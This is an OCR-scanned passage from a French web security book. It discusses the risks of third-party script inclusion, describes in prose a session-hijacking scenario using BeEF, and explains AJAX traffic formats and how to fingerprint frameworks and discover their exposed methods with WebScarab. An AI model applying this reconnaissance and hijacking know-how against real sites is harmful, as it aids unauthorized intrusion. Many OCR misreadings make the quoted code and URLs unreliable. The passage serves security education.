{Secure Sockets Layer) encouragent souvent leurs clients a Incorporer de jolis logos sur leurs 
sites, ce qui ne fait qu'empirer les faits. Ces macarons tentent de rassurer les utilisateurs en 
leur indiquant que le site emploie un fournisseur respecte pour son certificat SSL. Pour une 
raison inconnue, les organisations proposant des certificats insistent souvent pour faire 
inclure ceux-ci a travers un script au lieu de se contenter d'une Image, aux implications blen 
moins graves sur la frontiere de securite d'une application. En voici un exemple : 

<script 

src="https : / /seal. verisign . com/getseal?host_name=www.webapplogin 
. com& size=S& use_f lash=NO& use_transparent=NO& 
lang=en"></script> 

Voila qui cree un sceau familier : 



On trouve parfois cecl : 
<script 

src="https: //sit eseal.thawte.com/cgi/server/thawte_seal_generator 
. exe"></script> 

qui prodult I'image que void : 



Soulignons que ces deux scripts pourraient apparaitre dans des pages protegees par SSL 
sans provoquer aupres des utilisateurs d'avertissements en matiere de contenus mixtes. Si 
un agresseur compromet les serveurs web servant ces scripts, il pourra prendre la main sur 
tous les sites qui les Incluent. Nul besoin de casser une infrastructure a cles publlques (Public 
Key Infrastructure ou PKI) sophistiquee nl de forcer le molndre certificat SSL - il suffit d'un 
bogue dans un serveur web pour provoquer une catastrophe en matiere de violation de la 
vie privee chez tous les utilisateurs des scripts affectes. N'oubllez pas que certains serveurs 
web souffrent d'un historlque mouvemente. Voila qui met extremement a mal les llgnes de 
defense, cree un point faible unique {single point of failure) evident et reduit au plus bas la 
securite des utilisateurs. 

Que se passeralt-il si, au lieu de provenir d'une autorite avisee en matiere de securite et 
fournlssant des certificats SSL, ['inclusion de scripts chargeait ceux-ci a partir d'une agence 
de publicite en llgne ? Est-ce vralment I'idee du siecle que de limiter la securite d'une appli- 
cation web au niveau de celui de sa boite de pub ? Les reclames constltuant souvent la 
source de revenus princlpale d'un site web, voila une situation blen plus interessante. 
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Incorporer des images de maniere a rassurer les utilisateurs les moins avises du Web quant 
au niveau de securite de vos certificats SSL represente sans doute un mauvais compromis en 
matiere de securite, a moins que vous ne cibliez un public tres particulier. 

Autre pratique dangereuse : inclure des scripts pour mieux connaitre le trafic sur le site 
web. Au lieu de se contenter de charger depuis le site d'analyse des contenus statiques, en 
recourant notamment au bon vieux compteur sous forme d'image, certains sites chargent 
des programmes donnant acces a des etudes bien plus detaillees. Le cout de cette analyse, 
c'est de faire conf iance a son auteur en lui conf iant la session de I'utilisateur Voici un exemple 
d'une telle inclusion : 

<script src="https : / /ssl . google- analytics . com /urchin . j s" 
type="text/JavaScript "> 

La mention de ce module "urchin" permet a Google de suivre a la trace le comportement 
de I'utilisateur sur tout site embarquant ce code. Certes, cette societe est sans conteste 
digne de confiance, mais le programme de suivi n'est pas toujours aux mains de ceux a qui 
les utilisateurs pensent, notamment quand on emploie SSL sur un autre domaine que celui 
de Google. Pensez-vous vraiment avoir respecte en toute bonne foi votre obligation de 
moyens en matiere de protection des informations personnelles des utilisateurs si les pages 
rassemblant celles-ci s'appuient sur la bonne reputation de Google pour ne pas incorporer 
de sites hostiles ? Que penseraient vos clients s'ils s'en rendaient compte ? Les lecteurs 
inquiets du respect de leur vie privee s'interesseront au greffon NoScript pour Firefox, 
lequel permet de selectionner les domaines autorises en matiere d'execution de scripts. 

En supposant que toutes les connexions sont protegees par SSL, exploiter n'importe laquelle 
de ces inclusions suppose de compromettre leur serveur d'origine (evidemment, les connexions 
HTTP circulant en clair ne proposent aucune garantie de confidentialite, integrite ou 
respect de la source). 

Les exemples presentes dans cette etude de cas sont probablement difficiles a compromet- 
tre. Quand bien meme ces societes adoptent des comportements d'inclusion risques, elles 
jouissent de bonnes reputations en matiere de protection de leurs infrastructures - cepen- 
dant, personne n'est parfait. Des organisations moins pointues en la matiere, comme celles 
qui n'ont pas investi dans la securite de leurs produits sur le Web, pourront exposer leurs 
utilisateurs a des agresseurs mal intentionnes. 

Ainsi, cette attaque issue d'un site tiers compromis a fourni des informations a d'autres 
sites, sous forme de pages de nouvelles (pour ces exemples, le site vulnerable est celui qui a 
commis I'erreur d'inclure un script depuis une machine dont un agresseur a pris le controle). 

1. Un attaquant cree un script qui lui envoie le cookie utilise par la victime sur le site vulne- 
rable (et le nom de ce dernier). II peut ainsi detourner la session de la victime. 

2. L'agresseur charge ensuite le framework d'exploitation de navigateur BeEF {Browser 
Exploitation Framework, disponible a I'adresse www. bindshell. net /tools /beef /) chez 
la victime, comme s'il provenait du site vulnerable. De cette maniere, il pourra manipuler 
les victimes d'une maniere plus souple, en temps reel, meme sur les sites activant le 
drapeau (flag) de cookie HTTPOnly. 

3. L'attaquant peut ensuite cibler les informations qui I'interessent alors que sa victime 
navigue de site en site. L'emploi de la session active de cette derniere, ainsi que I'acces 
du script aux contenus permettra a l'agresseur d'espionner et de compromettre toutes 
les donnees qu'il souhaite. 
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A I'ere du Web 2.0, I'lnternet ne se resume plus a un ensemble de reseaux relies entre eux ; 
les applications travaillent desormais, elles aussi, les unes avec les autres. Les problemes de 
securite qui se posent pour une application fournissant du contenu a 30 autres, lesquelles 
sont reprises par 200 autres applications, tissent un maillage complet de vulnerabilites a 
partir de quelques points faibles centralises. Les professionnels de la securite doivent identi- 
fier, justifier et minimiser I'inclusion de scripts d'un domaine a I'autre afin d'eviter 
d'endommager la securite de leurs applications en eliminant ou en affaiblissant d'impor- 
tantes barrieres de securite. 
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Types, decouvertes et manipulation 
de parametres pour A JAX 

Pour reussir une attaque centre une application web, il faut suivre un certain nombre 
d'etapes. Avant de lancer son action, un agresseur doit etudier sa cible. S'il s'interesse a 
une application AJAX (Asynchronous JavaScript and XML), il prendra connaissance du 
type de 1' application AJAX et de la maniere dont le programme interagit avec ses utili- 
sateurs sur le reseau. II determinera ensuite les frameworks AJAX employes et les 
methodes exposees par 1' application aux utilisateurs. II recherchera tout particuliere- 
ment toute methode fortuitement publique ou tout parametre que le developpeur n'a 
jamais imagine que Ton puisse modifier. Enfin, il se penchera sur les cookies generes 
pour savoir s'ils sont previsibles ou embarquent des drapeaux (flags) non securises. 

Types d'applications AJAX 

Malgre le nombre ecrasant de frameworks et de boites a outils disponibles, les imple- 
mentations d'AJAX relevent en general de deux categories principales, souvent faciles 
a distinguer : mandataire client- serveur et rendu cote client. Apres identification de la 
nature du code AJAX mis en cause, 1' agresseur debutera son analyse en declenchant des 
attaques adaptees a la surface de frappe de chacune, tres differente. 

Mandataire client-serveur 

Parfois quaUfiees d' architecture orientee services pour cUents (SOA ou Service-Orien- 
ted Architecture), les applications de cette famille presentent deux proprietes principa- 
les : elles imposent rarement de recharger entierement la page lors de I'utilisation et 
I'etat de la session y releve generalement du client. L' absence de rechargements 
complets des pages fait souvent dire des applications AJAX de style mandataire client- 
serveur qu'il s'agit "d'emballer un service web dans une interface graphique AJAX". 



164 Partielll 



AJAX 



Dans cette categoric d' applications AJAX, Ic code JavaScript execute dans le naviga- 
teur web du client pourra etre genere de deux manieres. La premiere consiste a realiser 
un pre-rendu des methodes JavaScript sur le serveur avant de les transmettre au client, 
oil elles portent sou vent le meme nom ou un nom proche de celui qu'elles ont sur le 
serveur. Quand le client re9oit les methodes JavaScript du serveur, il se contente de les 
passer a un appel eval ( ) pour les executer. La deuxieme consiste pour le serveur a 
envoyer au client un tron9on de code JavaScript dont I'execution produit de nouvelles 
methodes JavaScript a la volee, en lisant une liste definie sur le serveur dans un fichier 
comme le WSDL (Web Services Description Language ou langage de description des 
services web). Dans la pratique, on rencontre plus souvent la premiere technique 
(production de JavaScript avec pre-rendu) ; la generation a la volee se cantonne genera- 
lement aux applications web s'appuyant sur SOAP (Simple Object Access Protocol ou 
protocole simple d'acces aux objets). 

Malgre le nombre de frameworks de la forme mandataire client-serveur existants, la 
procedure de creation d'une application web AJAX ressemble generalement a ceci : 

1. Le framework inspecte le code cote serveur (par exemple une application web Java), 
oil certaines methodes sont notees comme publiques. 

2. Le framework apprend lesquelles de ces fonctions doivent etre exposees aux clients. 

3. Le code du framework inspecte alors automatiquement ces methodes et genere un 
mandataire JavaScript pla9ant des methodes (portant souvent le meme nom) dans le 
navigateur web. 

4. Ensuite, chaque appel de methode JavaScript par le client est transmis au manda- 
taire JavaScript puis a la veritable methode appelee. 

Concretement, on peut considerer qu'une equipe de developpement peut oeuvrer sur 
r application a proprement parler, tandis que 1' autre concentre ses efforts sur la mise en 
forme. II suffit a cette equipe de design web de recevoir un fichier de methodes Java- 
Script susceptibles d'etre appelees au besoin, sans devoir interagir avec I'application 
Java fonctionnant en coulisses. Une application de style mandataire client-serveur de ce 
type impose au client de stocker toutes les methodes disponibles ; en effet, la nature 
asynchrone d'AJAX autorise a tout instant 1' appel de n'importe laquelle d'entre elles. 
C'est pourquoi un agresseur trouvera tres interessant le potentiel d'un programme 
AJAX relevant de cette famille d'implementations. 

Rendu cote client 

Les applications realisant un rendu cote client reposent sur deux facteurs principaux : 
elles requierent de nombreux rechargements de pages lors de leur utilisation et elles 
stockent I'etat de session sur le serveur. On qualifie parfois ces frameworks AJAX de 
frameworks HTML++ car ils mettent bien plus 1' accent sur la production d'effets 
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speciaux chez le client - c'est d'ailleurs la raison pour laquelle ils produisent un code 
JavaScript non susceptible d'etre repris par un developpeur. En d'auti^es termes, le 
programme sera souvent obscur et tres penible a lire pour un etre humain, ce qui expli- 
que la grande difficulte de mener une decouverte de methodes dans le contexte d'un 
framework avec rendu cote client. D' autre part, les applications de rendu cote client 
insistent principalement sur les effets visuels, ce qui rend les applications du style 
mandataire client-serveur bien plus attirantes pour les agresseurs. 

AJAX sur le reseau 

Generalement, il etait tres ennuyeux d'espionner le comportement reseau d'une appli- 
cation traditionnelle du Web 1 .0. Un gros bloc de HTML descendait du serveur, suivi de 
quelques images et parfois d'un peu de coUe JavaScript pour les menus. Dans les appli- 
cations AJAX, les proportions respectives ont considerablement evolue. On y trouve 
toujours de gros blocs de HTML et beaucoup d'images, mais la quantite de JavaScript 
emise par le serveur a grimpe en fleche. Ce langage n'est certainement plus confine a un 
role de faire-valoir pour une petite portion statique de 1' application (comme un menu 
deroulant) ; il en est la partie principale. 

Le comportement des applications sur le reseau s'est done modifie en profondeur : 
contrairement a une application traditionnelle du Web 1.0, un programme AJAX ne se 
limite pas a I'envoi de donnees au format de couples (nom,valeur) des requetes POST 
HTTP. La liberte offerte par I'objet XMLHttpRequest, lui permet de communiquer avec 
le serveur dans le format de son choix. Consequence amusante, cela signifie que le nom 
Asynchronous JavaScript and XML n'est pas toujours adapte, car de telles applications 
peuvent tres bien n'impliquer ni JavaScript ni XML. 

Du point de vue d'un agresseur souhaitant reussir une attaque, il est fondamental de 
comprendre quelles technologies envoient les donnees dans les deux sens sur le reseau. 
S'il cherche, par exemple, a mener une injection de donnees arbitraires (XSS) la 
distinction entre le trafic emis vers le client au format (nom,valeur) et celui qui repose 
sur une notation JSON {JavaScript Object Notation ou notation objet JavaScript) 
pourra modifier de beaucoup le deroulement de 1' attaque. Heureusement pour 1' agres- 
seur, meme si certaines applications communiquent dans leur propre format proprie- 
taire, une grande partie des programmes AJAX s'appuie sur I'une des technologies 
suivantes dans I'envoi de messages vers le client ou vers le serveur : 

Trafic descendant vers le client 

On qualifie de trafic descendant toute communication emise par le serveur a 1' intention 
du client. Celui-ci consiste principalement de code HTML et d'images, mais les messages 
renfermant les resultats des appels par le client d'une methode sur le serveur permettront 
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a I'agresseur d'apprendre comment attaquer I'application. Les resultats pourront s'expri- 
mer dans n'importe quel format, mais relevent generalement de I'un de ceux qui suivent. 

XML 

Dans les applications AJAX classiques, XML constitue le format de choix pour les 
donnees descendantes, en raison des capacites d' analyse syntaxique integrees au navi- 
gateur. Recemment, son utilisation a significativement chute, car il implique souvent 
une structure lourde meme pour des donnees simples. Par exemple, dans le cas d'un 
serveur se contentant d'emettre un resultat entier vers le client, il faudrait construire et 
mettre en forme un message XML complet, induisant un grand volume de donnees 
superflues. Voici un exemple de client interrogeant une methode de consultation de 
codes postaux (d'une ville aux Etats-Unis d'Amerique) sur le serveur, ce dernier trans- 
mettant la reponse dans un format XML. A la requete suivante : 

GET http: //www. example.com/zipcocle_lookup. j sp?city=seattle 
le serveur repond : 

<zipcodes city="Seattle"> 
<zipcode>98101</zipcode> 
<zipcode>98102</zipcode> 
</zipcodes> 

JavaScript complet 

Autre technologic qui nous vient des premieres applications AJAX : transmettre au 
client du code JavaScript a part entiere. Dans la plupart des cas, le client le transmet 
directement a la fonction eval( ), qui execute immediatement le code en question. Ce 
choix represente souvent un allie de choix pour I'agresseur : tout code qu'il parviendra 
a injecter sera immediatement interprete par eval(). Reprenant le meme exemple de 
consultation de codes postaux, voici comment cela pourrait se presenter si le deve- 
loppeur a choisi ce format de communication. A la requete : 

GET http: / /www. example. com/zipcode_lookup. i sp?city=seattle 

le serveur repond desormais : 

for( var i=0; i < keys. length; i++ ) { 

var e = document. getElementsByName( keys[i][0] ); 

for ( i=0;i < e. length; ]++ ) { 

e[i]. value = keys[i] [1 ] ;}} 

Tableaux JavaScript 

Au lieu de repondre du code JavaScript a part entiere, le serveur peut aussi renvoyer les 
donnees sous forme de tableaux JavaScript, que le client transmet alors, une fois 
encore, a la fonction aval ( ) . Le code JavaScript cote client, constatant que les donnees 
des tableaux ont change, rafraichit le modele objet du document (DOM) de maniere 
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adequate. Une nouvelle fois, illustrons cette technique dans le cas d'une consultation de 
codes postaux. A la requete : 

GET http: //www. example. coni/zipcode_lookup. j sp?city=seattle 

le serveur repond desormais : 

var zipcodes = ["98101", "98102"]; 

JSON 

Souvent qualifiee de "solution de remplacement poids plume" a XML, la notation objet 
JavaScript {JavaScript Object Notation ou JSON) est employee par de nombreuses 
applications AJAX. Malgre son aspect etrange, le JSON represente du code JavaScript 
brut, equivalent a des tableaux JavaScript. Si la reponse JSON est directement trans- 
mise a la fonction eval(), elle instanciera de nouveaux tableaux renfermant les 
donnees precisees, sur lesquels le code JavaScript existant cote client pourra s'appuyer 
pour rafraichir le modele objet du document (DOM). Dans ce contexte, la consultation 
de codes postaux s'exprime comme suit - on appreciera sa concision comparee a la 
solution XML. A la requete : 

GET http: //www. example.com/zipcode_lookup. ] sp?city=seattle 

Le serveur se contente d'emettre : 

"zipcodes" : [ "98101", "98102" ] 

Serialisation personnalisee 

Les boites a outils AJAX peuvent encore definir leur propre format de serialisation. En 
effet, I'objet XMLHttpRequest permet aux developpeurs d'emettre des donnees au 
format de leur choix, lesquels varient largement. Poursuivant I'exemple de la consulta- 
tion de codes postaux, voici la maniere dont cela pourrait se derouler dans le cadre d'un 
serveur ecrit en AJAX d'ASP.Net, exprimant ses resultats selon une serialisation 
personnalisee. A la requete : 

GET http: //www. example.com/zipcode_lookup. j sp?city=seattle 

cette fois, le serveur repond : 

{"Zipcodes" :{"Zipcode1 " : "98101 " , "Zipcode2" : "98102"}} 

L'exemple suivant presente le cas d'un client appelant une methode de consultation de 
codes postaux sur un serveur dote de la boite a outils web de Google {Google Web Tool- 
kit ou GWT). A la requete : 

GET http: / /www. example. com/zipcode_lookup. i sp?city=seattle 

le serveur repond : 

{0K}[ "98101 " , "98102"] 
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Traf ic montant vers le serveur 

On appelle "trafic montant" toute communication emise par le client vers le serveur. 
Tandis que les formats du trafic descendant resultent de I'appel d'une methode sur le 
serveur, ceux du trafic montant permettent aux clients d'exprimer leur demande. Nous 
detaillons ci-apres plusieurs types repandus de trafic montant. 

Requite GET HTTP 

C'est la solution la plus simpliste. Les requetes GET HTTP sont employees par les deve- 
loppeurs depuis le debut des applications web et gardent leurs preferences dans un 
certain nombre d' applications AJAX. On les rencontre habituellement quand les 
programmeurs recherchent une maniere facile et tres legere de modifier un etat sur le 
serveur. Certes, leur emploi dans une application AJAX ne presente aucune particula- 
rite, mais la possibilite pour ces requetes de desormais s'executer en tache de fond, a 
I'insu de I'utilisateur, peut provoquer de graves soucis de securite. Comme souvent 
observe avec les fonctionnalites les plus anodines, les requetes GET HTTP peuvent 
mener a d'importants problemes de securite : forgement de requetes sur d'autres sites 
(Cross-Site Request Forgery ou CSRF) et injection de donnees arbitraires (Cross-Site 
Scripting ou XSS). Une requete GET HTTP elementaire attribuant, sur le serveur, la 
valeur "1 1 " a la variable "var" pourrait s'ecrire comme suit : 

GET http : / /www. example . com/site . ] sp?var=1 
Requete POST deformulaire HTTP 

A I'instar des requetes GET HTTP, les requetes POST de formulaires HTTP constituent 
la maniere traditionnelle d'appeler des methodes sur le serveur pour en changer I'etat. 
Meme si I'objet XMLHttpRequest permet d'emettre du trafic montant dans le format 
de son choix, un certain nombre de frameworks AJAX, parmi lesquels Direct Web 
Remoting, s'appuient sur des couples (nom,valeur) pour appeler une methode sur un 
serveur. Dans I'exemple ci-apres, le client appelle la methode getMessages du script 
Chat : 

callCount=1 
c0-scriptName=Chat 
c0-methodName=getMessages 
C0- id=81 8_1 1 51 685522576 
xml=true 

Tableaux JavaScript et JSON 

Les tableaux JavaScript et le format JSON peuvent aussi jouer le role d'un protocole 
montant. On les emploie souvent quand 1' application web integre une fonction de seria- 
lisation. Toute requete descendante ou montante est transmise a cette derniere, qui la 
convertit alors en tableaux JavaScript ou au format JSON avant de la transmettre 
respectivement au serveur ou au client. On propose ci-apres un exemple de client 
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s'appuyant sur des tableaux JavaScript pour appeler une methode sur le serveur. Dans 
cet exemple, le client appelle la methode d'exemple exampleMethod en lui soumettant 
les arguments argi et arg2. 

var rpc = ["exampleMethod", "arg1", "arg2"]; 

Dans le cas du format JSON, ce meme exemple s'exprimerait comme suit : 

"exampleMethod" : [ "arg1", "arg2" ] 

SOAP 

Rarement, une application AJAX emploie SOAP' comme protocole montant ; certains 
frameworks comme AJAX Engine le prennent en effet en charge. On observe generale- 
ment cela dans des environnements d'intranet, oii Ton dispose de la bande passante 
necessaire a la transmission d'un gros fichier JavaScript implementant une pile SOAP. 
Cela peut servir a construire une interface graphique AJAX par-dessus des services web 
existants. Voici I'exemple d'un client utilisant SOAP pour appeler sur le serveur la 
methode d'exemple exampleMethod avec I'argument 42 : 

<?xml version="1 .0" encoding="UTF-8" ?> 
<SOAP-ENV: Envelope 
xmlns : SOAP-ENV=" http : / /schemas . xmlsoap . org /soap /envelope/ " 
xmlns : xsi="http : / /www.w3 . org/ 1 999 /XMLSchema- instance" 
xmlns : xsd= " http : / /www . w3 . org / 1 999 /XMLSchema " > 
<SOAP-ENV:Body> 

<ns1 : exampleMethod 
xmlns : ns1 ="urn : ExampleSoapServices " 

SOAP-ENV encodingStyle="http: //schemas. xmlsoap. org /soap/ 

encoding/ "> 
<return xsi: type="xsd : int ">42</return> 
</ns1 : exampleMethod> 
</SOAP-ENV:Body> 
</SOAP-ENV:Envelope> 

XML 

Dans les applications AJAX, I'emploi du protocole montant XML a generalement ete 
remplace par d'autres solutions. En effet, comme dans le cas du protocole descendant, 
ce format est souvent trop verbeux. Dans les cas oii il subsiste, c'est principalement en 
frontal d'un service web REST {Representational state transfer ou transfert d'etat 
representationnel^) . 



1. N.D.T. : Initialement Simple Object Access Protocol, ou protocole simple d'acces a des objets, cet 
acronyme n'a plus de signification officielle depuis la version 1.2 de la norme, 1' interpretation origi- 
nelle etant trompeuse. 

2. N.D.T. : Jeu de mots avec I'anglais rest, qui signifie se reposer 
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Voici un exemple d'un client employant XML pour appeler sur le serveur la methode 
d'exemple exampleMethod avec I'argument 42 : 

<call method="exampleMethod"> 

<arg1>42</arg1> 

</call> 

Serialisation personnalisee 

Comme pour les serialisations personnalisees descendantes, un certain nombre de 
boites a outils AJAX proposent leur propre format de serialisation montante, dont le 
format varie une nouvelle fois d'un produit a 1' autre. L' exemple suivant presente un 
client s'appuyant sur la boite a outils web de Google (Google Web Toolkit ou GWT) 
pour appeler la methode getPeople sur le serveur. Chacun des nombreux points d'inter- 
rogation de cet exemple represente un caractere non imprimable employe dans la seria- 
lisation personnalisee du framework GWT. 

1 ?0?4?i ava . lang . St ring/ 200401 661 1 ?com . google . gwt . sample . dynatable 
.client . SchoolCalendar 

Service?getPeople?I?+0?1?+0?2?2?+0?3?+0?3?0?15? 
Recapitulatif sur les boTtes a outils AJAX 

AJAX a revolutionne le comportement reseau des applications, qui ne sont plus 
contraintes a des formats stricts comme les couples (nom,valeur) ou le code HTML 
dans leur communication avec les clients. Un agresseur soucieux de reussir doit main- 
tenant comprendre la maniere dont un client communique dans les deux sens avec 
r application cible, car cela influera sur le resultat de ses attaques. 

Decouverte des methodes du framework 

Avant qu'un agi^esseur puisse attaquer une application web, il lui faut decouvrir les 
methodes publiques exposees par celle-ci. C'est seulement en disposant de cette liste 
qu'il pourra commencer a cibler ses attaques. 

Dans le monde du Web 1.0, ce processus, souvent fastidieux etait difficile a mener sans 
erreurs. En effet, pour cartographier entierement les methodes exposees par 1' applica- 
tion, il fallait en explorer tous les recoins, creer des comptes utilisateur a tous les 
niveaux d'acces, et tester chaque combinaison permise par les formulaires. Ensuite, il 
s'agissait d'analyser les enregistrements de trafic realises lors de toutes ces activites 
pour en extraire les fonctions. Tout cela explique que les balayeurs (scanners) de vulne- 
rabilites dans les applications web sont longtemps restes des logiciels complexes et 
onereux ; il leur fallait simuler le comportement d'un humain cliquant partout dans 
r application avant de construire une liste complete des methodes sur laquelle on 
pouvait s'appuyer pour mener des attaques exhaustives. 
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Le monde du Web 2.0 a souvent considerablement simplifie cette activite. Les applica- 
tions du Web 1.0, souvent lineaires et controlees, y ont cede la place a des applications 
AJAX capables d'emettre des requetes a tout instant, et dans n'importe quel ordre. 
C'est pourquoi le client doit connaitre a priori toutes les fonctionnalites proposees par 
le serveur, qui lui sont souvent transmises lors des quelques requetes initiales sous la 
forme d'un enorme bloc de code JavaScript decrivant toutes les methodes exposees par 
le serveur. Dans le cas d'une application emettant un fichier JavaScript reproduisant son 
interface de programmation complete, on comprend que la decouverte des methodes 
soit reduite de quelques heures a quelques minutes. 

Dans une application AJAX, les details du processus de decouverte des methodes 
varient d'un framework a 1' autre et au cas par cas. Cependant, les le9ons apprises dans 
un contexte renseigneront generalement un agresseur sur la maniere de proceder face a 
un autre framework. Les sections suivantes proposent une analyse de 1' identification du 
framework et de la decouverte des methodes pour cinq produits repandus. Nous 
detaillons egalement les etapes d'un exemple permettant de realiser ces operations a 
I'aide de I'utilitaire gratuit WebScarab. 

Microsoft ASP. Net AJAX 

Anciennement appele Atlas, ASP.Net AJAX est le framework AJAX officiel de Micro- 
soft. II s'integre a Visual Studio pour permettre aux developpeurs de creer de nouvelles 
applications web AJAX. Decouvrir les methodes d'une application reposant sur ce 
framework suppose d' analyser plusieurs fichiers. On inspectera chaque instance du 
fichier WebResource . axd a la recherche de methodes potentielles, ainsi que tout fichier 
JavaScript emis vers le client lors de la connexion initiale. Les methodes evoquees dans 
le fichier WebResource . axd adoptent un format facile a lire, tandis que le format de 
celles apparaissant dans tout autre fichier JavaScript dependra du site. 

Le framework Microsoft ASP.Net AJAX releve de la famille des mandataires. On le 
detecte en recevant le fichier WebResource . axd, renfermant parfois du code JavaScript 
(conservant souvent les commentaires originaux des programmeurs) indiquant qu'il 
embarque les fichiers requis Atlas . j s ou Microsof tAtlas . ] s. Voici un exemple : 

// Atlas. is 

// Atlas Framework. 

On peut telecharger le framework ASP.Net AJAX a I'adresse http://ajax.asp.net/ 
Default.aspx. 

Google Web Toolkit 

La boite a outils GWT de Google {Google Web Toolkit) est un framework mandataire 
particulier. Au lieu d'intervenir entre une application existante et le client, GWT 
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compile en JavaScript une application Java existante. Cette etape explique I'extreme 
difficulte de la decouverte des methodes exposees par les applications GWT. Les 
methodes sont transmises au client sous la forme d'un nom de fichier au format 
suivant : [32 caracteres hexadecimauxj.cache.html. En voici un exemple : 

9B5996A 7A61FA 7AB0B 780C54253DE830. cache, html. 

Ce fichier renferme integralement du code JavaScript compile par GWT a partir de 
r application Java. Les methodes y resolvent sou vent des noms incomprehensibles en 
deux ou trois lettres, tels que qe, xrb, etc. On peut certes les decouvrir en analysant les 
donnees renvoyees dans un fichier . cache . htm, mais ce processus reste beaucoup plus 
complexe que dans le cas de tout autre framework. 

Le client recevra le fichier gwt . j s, renfermant les methodes GWT necessaires et debutant 
generalement par le code JavaScript que voici : 

function DynamicResources ( ) { 
this.pendingElemsBySrc_ = {}; 
this . pendingScriptElems_ = new Array(); 

} 

DynamicResources. prototype = {}; 
On peut telecharger le framework GWT a I'adresse http://code.google.coin/webtoolkit/. 

Direct Web Remoting 

Direct Web Remoting (DWR) est un veritable framework AJAX mandataire. II s'integre 
a des applications Java existantes en fonctionnant comme une servlet placee dans le 
tiers intermediaire (middleware). Apres installation, DWR est incorpore au repertoire 
d' applications de Java, et le developpeur cree un fichier XML definissant les methodes 
a exposer. Des methodes JavaScript sont alors compilees, qui pointent vers ces fonc- 
tions, avant d'ette transmises au client, lequel pourra les appeler a n'importe quel 
moment. 

II est souvent tres facile de reconnaitre I'emploi de DWR. Tout fichier JavaScript servi 
depuis le repertoire /dwr/ d'une application renfermera une liste de methodes dans un 
format lisible. Si le site www.example.com s'appuie sur DWR, un client recevra des 
fichiers JavaScript issus de www. example . com/ dwr / lors de sa premiere connexion sur le 
site www . example . com. 

On peut telecharger le framework DWR a I'adresse http://getahead.ltd.uk/dwr. 
XAJAX 

XAJAX est un framework mandataire pour PHP, qui fonctionne de maniere tradition- 
nelle : le developpeur definit les methodes a exporter et le framework compile les stubs 
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(souches) JavaScript correspondantes, susceptibles alors d'etre appelees par le client. 
Generalement, XAJAX definit les methodes sous une forme lisible, dans la premiere 
page PHP de 1' application - ce qui en facilite grandement la detection. Les methodes 
d'une application seront ainsi generalement definies sous www. example. com/ application/ 
index . php. 

Si ce framework est employe, le client recevra le fichier xajax.js, definissant les 
methodes XAJAX et qui debute par defaut avec le code JavaScript que voici : 

function XajaxO 
{ 

if (xajaxDebug) this.DebugMessage = f unction(text) 
{ alertCXajax Debug:\n " + text) }; 

this.workid = 'xaiaxWork'+ new Date ( ) . getTime ( ) ; 
this. depth = 0; 

On peut telecharger le framework DWR a I'adresse www.xajaxproject.org. 
SAJAX 

Le framework mandataire SAJAX porte un nom rappelant XAJAX, mais il prend en 
charge de nombreuses technologies : ASP, ColdFusion, lo, Lua, Perl, PHP, Python et 
Ruby. II fonctionne de maniere classique : le developpeur definit les methodes a expor- 
ter et le framework compile les stubs JavaScript correspondantes, susceptibles alors 
d'etre appelees par le client. II est parfois delicat de decouvrir les methodes de SAJAX, 
car elles ne sont pas definies dans un fichier standard. Cependant, les methodes expo- 
sees par le framework debuteront par la chaine "x ". En d'autres termes, si la methode 
f oobar de I'application web est exposee par SAJAX, elle y sera appelee x f oobar. En 
general, la premiere page reclamee par I'application correspond au fichier renfermant la 
liste des definitions de methodes. Dans le cas d'une application ASP, on les trouvera 
souvent sous www. example . com/application/index . asp. 

Le framework SAJAX est parfois difficile a identifier, faute d'inclure des fichiers stan- 
dard. Au lieu d'un fichier trahissant sa presence, comme saj ax . j s, il faudra explorer 
les premieres pages renvoyees par I'application a la recherche de code commun au 
framework. En voici un exemple : 

// remote scripting library 

// (c) copyright 2005 modernmethod , inc 

var sajax_debug_mode = false; 

var saiax_request_type = "POST";" 

function saj ax_init_obi ect ( ) { 

On peut telecharger le framework SAJAX a I'adresse www.modernmethod.coin/ 
sajax/. 
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Exemple d'identification de framework et de decouverte de ses methodes 

Nous detaillons ci-apres une maniere d'associer navigateur et mandataire pour reconnaitre 
le framework sous-tendant une application AJAX, ainsi qu'une procedure de decou- 
verte des methodes publiques associees. 

1. Installez puis executez un mandataire (proxy) web d'interception, permettant a I'utilisa- 
teur de modifier les requetes avant de les transmettre au serveur, ainsi que les reponses 
regues de celui-ci avant reception. Dans ce cas de figure, nous avons retenu OWASP 
WebScarab (www.owasp.org/index.php/Category:OWASP_WebScarab_Project). 
D'autres mandataires web gratuits et sou vent employes meritent d'etre cites : Paros 
(www.parosproxy.org/index.shtml) et Burp Proxy (www.portswigger.net/proxy). 

2. Dirigez le navigateur web sur WebScarab, qui par defaut ecoutera sur le port 8008 de la 
machine locale (localhost). Le processus de configuration est illustre a la Figure 6.1. 
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3. Connectez-vous sur le site cible et recherchez-y des fichiers permettant d' identi- 
fier le framework employe. Dans le cas de DWR, on s'interessera par exemple 
aux URL mentionnant des fichiers JavaScript servis depuis le repertoire /dwr/ 
(Figure 6.2). 

4. Apres avoir identifie le framework, menez-y la decouverte des methodes en ouvrant 
des fichiers susceptibles d'en contenir la liste complete. Dans ce cas de figure, le 
fichier issu du repertoire s' impose. En effet, en double-cliquant sur le fichier 
Chat.js pour I'ouvrir, I'agresseur y reconnait facilement les methodes Chat 
. addMessage et Chat . getMessages (Figure 6.3). 
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Figure 6.2 

Des fictiiers stocl<es dans le repertoire /dwr I apparaissent dans WebScarab. 
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Figure 6.3 

Decouverte des methodes dans WebScarab. 



Recapitulatif du framework 

La decouverte des methodes a toujours represente une premiere etape importante de 
I'attaque des applications web. Dans le monde traditionnel du Web 1.0, ce processus 
fastidieux etait susceptible de produire bien des erreurs, mais les applications AJAX ont 
considerablement simplifie la tache de I'agresseur. Desormais, il suffit souvent 
d'inspecter un seul fichier JavaScript, emis du serveur vers le client, pour en decouvrir 
les methodes. D'autre part, ce catalogue releve souvent des premiers fichiers servis au 
client lorsque celui-ci se connecte sur le site cible. D'autre part, le framework AJAX 
employe par une application web sera tres souvent trahi par la presence de certains 
fichiers JavaScript. Ces modifications dans la maniere dont les applications web se 
devoilent accentuent plus que jamais le besoin pour les developpeurs de bien compren- 
dre quelles informations leurs programmes transmettent a des clients potentiellement 
hostiles. 
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Manipulation de parametres 



Popularite : 


9 


Simplicite : 8 


Impact : 8 


Evaluation du risque : 


8 



La manipulation de parametres constitue depuis longtemps une source constante 
d' agressions contre les applications web. Ces attaques ne reposent sur aucune technolo- 
gie en particulier, mais s'appuient sur des erreurs de programmation et d'algorithmes. 
EUes se contentent en general de modifier les valeurs des parametres d'une maniere 
